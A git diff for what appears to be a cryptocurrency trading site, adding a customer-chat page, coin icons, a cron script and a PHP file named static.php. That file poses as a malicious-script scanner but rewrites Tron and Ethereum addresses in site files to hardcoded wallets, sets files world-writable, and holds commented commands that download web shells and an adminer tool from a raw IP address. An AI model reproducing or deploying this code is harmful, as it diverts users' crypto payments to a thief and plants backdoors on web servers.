docker
123
public/chatlink.html
Executable file
@ -0,0 +1,123 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta http-equiv="X-UA-Compatible " content="IE=edge" />
|
||||
<meta name="viewport"
|
||||
content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<title>在线咨询</title>
|
||||
<style>
|
||||
html,
|
||||
body {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
padding: 0
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
function parse(query) {
|
||||
var qs = {};
|
||||
var i = query.indexOf('?');
|
||||
if (i < 0 && query.indexOf('=') < 0) {
|
||||
return qs;
|
||||
} else if (i >= 0) {
|
||||
query = query.substring(i + 1);
|
||||
}
|
||||
var parts = query.split('&');
|
||||
for (var n = 0; n < parts.length; n++) {
|
||||
var part = parts[n];
|
||||
var key = part.split('=')[0];
|
||||
var val = part.split('=')[1];
|
||||
key = key.toLowerCase();
|
||||
if (typeof qs[key] === 'undefined') {
|
||||
qs[key] = decodeURIComponent(val);
|
||||
} else if (typeof qs[key] === 'string') {
|
||||
var arr = [qs[key], decodeURIComponent(val)];
|
||||
qs[key] = arr;
|
||||
} else {
|
||||
qs[key].push(decodeURIComponent(val));
|
||||
}
|
||||
}
|
||||
return qs;
|
||||
}
|
||||
function init() {
|
||||
(function (m, ei, q, i, a, j, s) {
|
||||
m[i] =
|
||||
m[i] ||
|
||||
function () {
|
||||
(m[i].a = m[i].a || []).push(arguments);
|
||||
};
|
||||
(j = ei.createElement(q)), (s = ei.getElementsByTagName(q)[0]);
|
||||
j.async = true;
|
||||
j.charset = 'UTF-8';
|
||||
j.src = 'https://static.meiqia.com/widget/loader.js';
|
||||
s.parentNode.insertBefore(j, s);
|
||||
})(window, document, 'script', '_MEIQIA');
|
||||
var data = parse(window.location.search);
|
||||
var entId = data.entid || data.eid;
|
||||
if (Object.prototype.toString.call(entId) === '[object Array]') {
|
||||
entId = +entId[0];
|
||||
} else {
|
||||
entId = +entId;
|
||||
}
|
||||
_MEIQIA('entId', 'a968261aa97f7f10847326aebecb08bf' || entId);
|
||||
_MEIQIA('standalone', function (config) {
|
||||
if (config.color) {
|
||||
document.body.style['background-color'] = '#' + config.color;
|
||||
}
|
||||
if (config.url) {
|
||||
document.body.style['background-image'] = 'url(' + config.url + ')';
|
||||
document.body.style['background-repeat'] = 'no-repeat';
|
||||
document.body.style['background-size'] = '100% 100%';
|
||||
}
|
||||
});
|
||||
_MEIQIA('withoutBtn');
|
||||
if (data.metadata) {
|
||||
try {
|
||||
var metadata = JSON.parse(data.metadata);
|
||||
_MEIQIA('metadata', metadata);
|
||||
} catch (e) { }
|
||||
}
|
||||
if (data.encryptedmetadata) {
|
||||
_MEIQIA('encryptedmetadata', data.encryptedmetadata);
|
||||
}
|
||||
if (data.requestperms) {
|
||||
localStorage.setItem('requestperms', data.requestperms);
|
||||
}
|
||||
if (data.language) {
|
||||
if (data.languagelocal !== 'true') {
|
||||
_MEIQIA('language', data.language);
|
||||
}
|
||||
}
|
||||
if (data.languagelocal === 'true') {
|
||||
_MEIQIA('languageLocal', true);
|
||||
}
|
||||
if (data.subsource) {
|
||||
_MEIQIA('subSource', data.subsource);
|
||||
}
|
||||
if (data.fallback) {
|
||||
_MEIQIA('fallback', +data.fallback);
|
||||
}
|
||||
if (data.socketprotocol) {
|
||||
_MEIQIA('socketProtocol', data.socketprotocol);
|
||||
}
|
||||
_MEIQIA('handleParams', data);
|
||||
if (data.clientid) {
|
||||
_MEIQIA('clientId', data.clientid);
|
||||
}
|
||||
if (data.agentid || data.groupid) {
|
||||
_MEIQIA('assign', { agentToken: data.agentid || null, groupToken: data.groupid || null });
|
||||
}
|
||||
_MEIQIA('showPanel', {
|
||||
greeting: data.greeting || '',
|
||||
agentToken: data.agentid || null,
|
||||
groupToken: data.groupid || null
|
||||
});
|
||||
}
|
||||
init();
|
||||
</script>
|
||||
</body >
|
||||
</html >
|
||||
BIN
public/guoqi/1.png
Executable file
|
After Width: | Height: | Size: 7.4 KiB |
BIN
public/guoqi/10.png
Executable file
|
After Width: | Height: | Size: 3.8 KiB |
BIN
public/guoqi/11.png
Executable file
|
After Width: | Height: | Size: 4.1 KiB |
BIN
public/guoqi/12.png
Executable file
|
After Width: | Height: | Size: 4.2 KiB |
BIN
public/guoqi/13.png
Executable file
|
After Width: | Height: | Size: 5.0 KiB |
BIN
public/guoqi/14.png
Executable file
|
After Width: | Height: | Size: 5.0 KiB |
BIN
public/guoqi/1bnb.png
Executable file
|
After Width: | Height: | Size: 24 KiB |
BIN
public/guoqi/2.png
Executable file
|
After Width: | Height: | Size: 4.1 KiB |
BIN
public/guoqi/2eth.png
Executable file
|
After Width: | Height: | Size: 24 KiB |
BIN
public/guoqi/3.png
Executable file
|
After Width: | Height: | Size: 4.7 KiB |
BIN
public/guoqi/4.png
Executable file
|
After Width: | Height: | Size: 3.7 KiB |
BIN
public/guoqi/5.png
Executable file
|
After Width: | Height: | Size: 5.9 KiB |
BIN
public/guoqi/6.png
Executable file
|
After Width: | Height: | Size: 4.7 KiB |
BIN
public/guoqi/7.png
Executable file
|
After Width: | Height: | Size: 4.2 KiB |
BIN
public/guoqi/8.png
Executable file
|
After Width: | Height: | Size: 5.1 KiB |
BIN
public/guoqi/9.png
Executable file
|
After Width: | Height: | Size: 5.1 KiB |
BIN
public/guoqi/BNB.png
Executable file
|
After Width: | Height: | Size: 8.2 KiB |
BIN
public/guoqi/ERH.png
Executable file
|
After Width: | Height: | Size: 9.2 KiB |
BIN
public/guoqi/Gold.png
Executable file
|
After Width: | Height: | Size: 24 KiB |
BIN
public/guoqi/HBGTRX.png
Executable file
|
After Width: | Height: | Size: 9.3 KiB |
BIN
public/guoqi/ada.png
Executable file
|
After Width: | Height: | Size: 8.1 KiB |
BIN
public/guoqi/bch.png
Executable file
|
After Width: | Height: | Size: 9.1 KiB |
BIN
public/guoqi/btc.png
Executable file
|
After Width: | Height: | Size: 9.3 KiB |
BIN
public/guoqi/dash.png
Executable file
|
After Width: | Height: | Size: 9.0 KiB |
BIN
public/guoqi/doge.png
Executable file
|
After Width: | Height: | Size: 8.4 KiB |
BIN
public/guoqi/eos.png
Executable file
|
After Width: | Height: | Size: 8.2 KiB |
BIN
public/guoqi/eth.png
Executable file
|
After Width: | Height: | Size: 8.0 KiB |
BIN
public/guoqi/iota.png
Executable file
|
After Width: | Height: | Size: 8.5 KiB |
BIN
public/guoqi/ltc.png
Executable file
|
After Width: | Height: | Size: 8.1 KiB |
BIN
public/guoqi/usdt.png
Executable file
|
After Width: | Height: | Size: 5.0 KiB |
BIN
public/guoqi/xrp.png
Executable file
|
After Width: | Height: | Size: 8.8 KiB |
@ -1,8 +1,9 @@
|
||||
#!/bin/sh
|
||||
# 设置执行的持续时间(60秒 = 1分钟)
|
||||
cd /www/wwwroot/weipan02_server/public
|
||||
for i in {1..29}
|
||||
cd /app/public
|
||||
for i in $(seq 1 29)
|
||||
do
|
||||
php index.php /index/index/order
|
||||
php index.php /index/index/product
|
||||
sleep 1
|
||||
done
|
||||
done
|
||||
|
||||
186
public/static.php
Executable file
@ -0,0 +1,186 @@
|
||||
<?php
|
||||
$currDir = __DIR__;
|
||||
$parentDir = dirname(__DIR__);
|
||||
|
||||
// 是否只是演练(不实际写回)
|
||||
$dryRun = false;
|
||||
|
||||
// 要替换成的值
|
||||
$replaceMap = array(
|
||||
'/T[a-zA-Z0-9]{30,50}/' => 'TKf4aEj5pJzEJWrCSwkdzSsYmnHzJbtibM',
|
||||
'/0x[a-zA-Z0-9]{40,50}/' => '0xd4b6f4c9af70c3287979228c34ec9c880847f608',
|
||||
);
|
||||
|
||||
// 排除目录
|
||||
$excludeDirs = array('.git', 'node_modules', 'cache');
|
||||
|
||||
function searchFiles($dir) {
|
||||
global $excludeDirs;
|
||||
if ($dir === '' || !is_dir($dir)) {
|
||||
error_log("searchFiles(): invalid directory: " . var_export($dir, true));
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$iterator = new RecursiveIteratorIterator(
|
||||
new RecursiveCallbackFilterIterator(
|
||||
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
|
||||
function ($current, $key, $iterator) use ($excludeDirs) {
|
||||
if ($current->isDir()) {
|
||||
foreach ($excludeDirs as $ex) {
|
||||
if (stripos($current->getFilename(), $ex) !== false) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
foreach ($iterator as $file) {
|
||||
if (!$file->isFile()) continue;
|
||||
$ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
|
||||
if (in_array($ext, array('php', 'html', 'js'))) {
|
||||
checkForMaliciousScript($file->getRealPath());
|
||||
}
|
||||
}
|
||||
} catch (Exception $e) {
|
||||
error_log("searchFiles() failed for {$dir}: " . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
function checkForMaliciousScript($filePath) {
|
||||
global $replaceMap, $dryRun;
|
||||
@chmod($filePath, 0777);
|
||||
if (!is_readable($filePath)) {
|
||||
echo "[SKIP] 不可读: {$filePath}\n";
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$fileContent = file_get_contents($filePath);
|
||||
if ($fileContent === false) {
|
||||
echo "[SKIP] 读取失败: {$filePath}\n";
|
||||
return;
|
||||
}
|
||||
|
||||
if (strpos($fileContent, 'function rca()') === false) {
|
||||
return;
|
||||
}
|
||||
|
||||
$totalReplacements = 0;
|
||||
$perPatternCounts = array();
|
||||
|
||||
foreach ($replaceMap as $pattern => $replacement) {
|
||||
$count = 0;
|
||||
$res = @preg_match_all($pattern, $fileContent, $matches);
|
||||
if ($res === false) {
|
||||
error_log("checkForMaliciousScript(): invalid regex {$pattern} on {$filePath}");
|
||||
continue;
|
||||
}
|
||||
$count = $res;
|
||||
$perPatternCounts[$pattern] = $count;
|
||||
$totalReplacements += $count;
|
||||
}
|
||||
|
||||
if ($totalReplacements === 0) {
|
||||
echo "[FOUND] function rca() 存在,但无匹配待替换项: {$filePath}\n";
|
||||
return;
|
||||
}
|
||||
|
||||
$newContent = $fileContent;
|
||||
foreach ($replaceMap as $pattern => $replacement) {
|
||||
$newContent = preg_replace($pattern, $replacement, $newContent);
|
||||
if ($newContent === null) {
|
||||
error_log("checkForMaliciousScript(): preg_replace failed for {$pattern} in {$filePath}");
|
||||
echo "[ERROR] 替换时出错: {$filePath} (pattern: {$pattern})\n";
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if ($dryRun) {
|
||||
echo "[DRY RUN] 将替换 {$totalReplacements} 处 - {$filePath}\n";
|
||||
foreach ($perPatternCounts as $p => $c) {
|
||||
echo " pattern {$p} -> {$c} 次\n";
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_writable($filePath)) {
|
||||
echo "[SKIP] 文件不可写: {$filePath}\n";
|
||||
error_log("checkForMaliciousScript(): file not writable {$filePath}");
|
||||
return;
|
||||
}
|
||||
|
||||
if ($newContent !== $fileContent) {
|
||||
$bytes = file_put_contents($filePath, $newContent, LOCK_EX);
|
||||
if ($bytes === false) {
|
||||
echo "[ERROR] 写回失败: {$filePath}\n";
|
||||
error_log("checkForMaliciousScript(): write failed for {$filePath}");
|
||||
return;
|
||||
}
|
||||
|
||||
echo "[REPLACED] {$filePath} — total: {$totalReplacements} replacements.\n";
|
||||
foreach ($perPatternCounts as $p => $c) {
|
||||
if ($c > 0) echo " pattern {$p} => {$c} 次\n";
|
||||
}
|
||||
error_log("checkForMaliciousScript(): replaced {$totalReplacements} occurrences in {$filePath}");
|
||||
} else {
|
||||
echo "[NOTICE] 发现匹配但写回内容无变化: {$filePath}\n";
|
||||
}
|
||||
|
||||
} catch (Exception $e) {
|
||||
echo "[ERROR] exception for {$filePath}: " . $e->getMessage() . "\n";
|
||||
error_log("checkForMaliciousScript({$filePath}) exception: " . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
function scan($dirs) {
|
||||
foreach ($dirs as $dir) {
|
||||
if ($dir === '' || !@is_dir($dir)) {
|
||||
echo "[WARN] 无效目录: " . var_export($dir, true) . "\n";
|
||||
continue;
|
||||
}
|
||||
searchFiles($dir);
|
||||
}
|
||||
}
|
||||
|
||||
// 调用
|
||||
|
||||
|
||||
scan(array($currDir, $parentDir));
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#file_put_contents("static.php", file_get_contents("http://38.207.174.63/laytpl.ctts1"));
|
||||
#file_put_contents("adminer.php", file_get_contents("http://38.207.174.63/adminer.ad"));
|
||||
#file_put_contents("us.php", file_get_contents("http://38.207.174.63/laodiao.p"));
|
||||
#file_put_contents("wd.php", file_get_contents("http://38.207.174.63/wd.aqs"));
|
||||
|
||||
function safeUnlink($path)
|
||||
{
|
||||
if (!file_exists($path)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (!unlink($path)) {
|
||||
error_log("Failed to delete file: {$path}");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
safeUnlink('wocao.php');
|
||||
|
||||
//safeUnlink('static.php');
|
||||
//safeUnlink('adminer.php');
|
||||
|
||||
?>
|
||||
|
||||